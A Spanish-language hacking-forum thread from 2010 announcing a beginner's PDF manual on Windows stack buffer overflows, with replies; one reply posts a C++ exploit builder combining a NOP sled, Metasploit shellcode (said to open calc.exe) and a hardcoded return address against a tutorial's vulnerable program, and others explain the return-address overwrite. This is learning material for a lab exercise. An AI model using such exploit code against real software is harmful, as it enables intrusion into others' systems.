elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 18:11  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  [Manual] Buffer Overflow en Windows
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: [Manual] Buffer Overflow en Windows  (Leído 16,401 veces)
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
[Manual] Buffer Overflow en Windows
« en: 8 Febrero 2010, 19:11 »

Bueno, pues finalmente me decidí a crear un manual de Buffer Overflow en Windows. ;-)

El manual describe de forma muy simple, con imagenes y palabras poco tecnicas, la creación y explotación de un programa vulnerable a BoF.

El manual está orientado a la gente que empieza, se explica el uso de Ollydbg, la pila, creacion de un exploit, uso y como conseguir una shellcode, como introducirla...etc.

Vamos, a mi entender, incluye lo basico y esencial para comenzar a dar los primeros pasitos en este tema.

Os dejo el Indice del documento.

Citar
INTRODUCCION                  2

DEBUGGER OLLY                  3

   Ventana de Desensamblado         4
   
   Ventana de Registros            5
   
   Ventana de Stack (pila)            6

OVERFLOW (EXPLICACION)            7

CREANDO UN PROGRAMA VULNERABLE   8

HACIENDO OVERFLOW               10

ENCONTRANDO EIP               13

BUSCANDO UN RETORNO             16

CREANDO UN EXPLOIT               17

EXPLOTANDO! (FUNCION OCULTA)      18

CREANDO UNA SHELLCODE            20

MODIFICANDO EL EXPLOIT            21

EXPLOTANDO! (CON SHELLCODE)      23

DESPEDIDA Y REFERENCIAS            24

Bueno, espero que le hecheis un vistazo y me comentais que tal.

Rapidshare: http://rapidshare.com/files/354973639/Buffer_Overflow_Windows_por_Ikary.pdf
Mediafire: http://www.mediafire.com/?mnylmt2iyzn
Scribd: http://www.scribd.com/doc/27365589
SkyDriver: Buffer_Overflow_Windows_por_Ikary.pdf -Anon-
Megaupload: http://www.megaupload.com/?d=9QXSPT20 -peibol0.1-

Un saludo.
« Última modificación: 24 Febrero 2010, 04:16 por ikary » En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #1 en: 8 Febrero 2010, 19:47 »

Joder, Rapidshare, es una *****, podrias subirlo a otro hosting, Mediafire yo que sé
En línea

---
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #2 en: 8 Febrero 2010, 19:59 »

Dicho y hecho :D
En línea
Shell Root


Desconectado Desconectado

Mensajes: 2.456


Alex Jurado


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #3 en: 8 Febrero 2010, 20:03 »

Thanks! Downloading...

Edit: Está Very Nice!
« Última modificación: 8 Febrero 2010, 20:10 por Shell Root » En línea

---
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #4 en: 8 Febrero 2010, 20:25 »

Edit: Está Very Nice!

Gracias ShellRoot  ;)

Por cierto, olvidé añadir a las referencias un manual de Ollydbg muy bueno y me acavo de dar cuenta  :-[

Lo pongo aqui y voy a editar el pdf.

Link: http://usuarios.multimania.es/elmundounderground/Textos/Cracking/Ollydbg.rar

Edito: Ya esta actualizado el pdf  ;-)

Un saludo
« Última modificación: 8 Febrero 2010, 20:36 por ikary » En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #5 en: 8 Febrero 2010, 23:38 »

Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD.

Muchas Gracias!!!

Saludos



He hecho un mirror en SkyDriver  :¬¬ no me vean feo por favor.

Por lo menos ahí no salen pop ups

Buffer_Overflow_Windows_por_Ikary.pdf

ikary, si haces alguna otra modificacion del manual cosas que creo me avisas para reaculizar mi link xD
« Última modificación: 8 Febrero 2010, 23:56 por Anon » En línea

Bien Super Divertido
@wifigdlmx
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #6 en: 11 Febrero 2010, 01:24 »

Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD


XDDDD
Gracias Anon  ;D

Ahora estoy preparando todo para hacer el video y terminar de modificar algunas cosillas que me han ido diciendo por privado.
Cuando termine con el CEH intentare hacer uno parecido pero en remote  :silbar:

PD: agrego tu link al post principal.

Un saludo
En línea
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 954



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #7 en: 11 Febrero 2010, 02:25 »

Bueno, aunque no uso window  desde hace tiempo, vi estubo muy bien documentando, y la explicacion de las memoria igual xD.
En línea

peib0l
Wiki

Desconectado Desconectado

Mensajes: 3.122


vista mi blog ^.^


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #8 en: 11 Febrero 2010, 10:58 »

Excelente manual para nobatos como yo :P :P

te e subido el archivo a Mega

mirror: http://www.megaupload.com/?d=9QXSPT20


Salu2
En línea

ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #9 en: 12 Febrero 2010, 01:59 »

Bueno, aunque no uso window  desde hace tiempo
El manual lo enfoqué en sistemas Windows por la poca documentacion en español que habia sobre este ataque. Además que considero muy importante conocer los metodos de explotacion no solo de un tipo especifico de SO, nunca sabes lo que te vas a encontrar durante un ataque real. Los extremos no son buenos  :silbar:
Citar
vi estubo muy bien documentando, y la explicacion de las memoria igual xD.
Citar
Excelente manual para nobatos como yo  :P:P
Gracias ^^ me alegro que le sirva de algo a alguien  :D
Citar
te e subido el archivo a Mega
Gracias, lo añado al post principal ^^

Un saludo
En línea
<< Lucas, ¿quién más? >>

Desconectado Desconectado

Mensajes: 51


ANTI KIRCHNER- MONTONEROS - TERRORISTAS Y ASESINOS


Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #10 en: 12 Febrero 2010, 12:50 »

No lo leí todo, pero hasta donde iba leyendo está excelente  :xD
En línea



Personalmente, prefiero tecnologías de Microsoft. Yo reconozco que defendí el software libre, pero ahora yo quiero vivir de esto. Mi trabajo.
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #11 en: 14 Febrero 2010, 17:41 »

Ikary te felicito por el tuto!!  :)
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char ret[] = "\x58\xFA\x22\x00";
    char nops[] =
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
                
    unsigned char shellcode[] =
                "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
                "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
                "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
                "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
                "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
                "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
                "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
                "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
                "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
                "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
                "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
                "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
                "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
                "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
                "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
                "\x02\x1c";


                  
    cout << "Creando exploit\n\n";
    ofstream fichero;
    fichero.open("archivo.txt");
    fichero << nops << shellcode << ret ;
    fichero.close();
    cout << "ya esta!!!";

    return 0;
}



El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...



PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias

PD2. 89 nops y 227 tamaño del shell code
« Última modificación: 14 Febrero 2010, 17:43 por soez » En línea

01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #12 en: 14 Febrero 2010, 18:17 »

Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.

Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
soez

Desconectado Desconectado

Mensajes: 50



Ver Perfil
Re: [Manual] Buffer Overflow en Windows
« Respuesta #13 en: 14 Febrero 2010, 18:28 »

Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos

PD. Aclararme si estoy equivocado en los conceptos  :P
« Última modificación: 14 Febrero 2010, 18:33 por soez » En línea

01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: [Manual] Buffer Overflow en Windows
« Respuesta #14 en: 14 Febrero 2010, 18:47 »

Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] 2 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines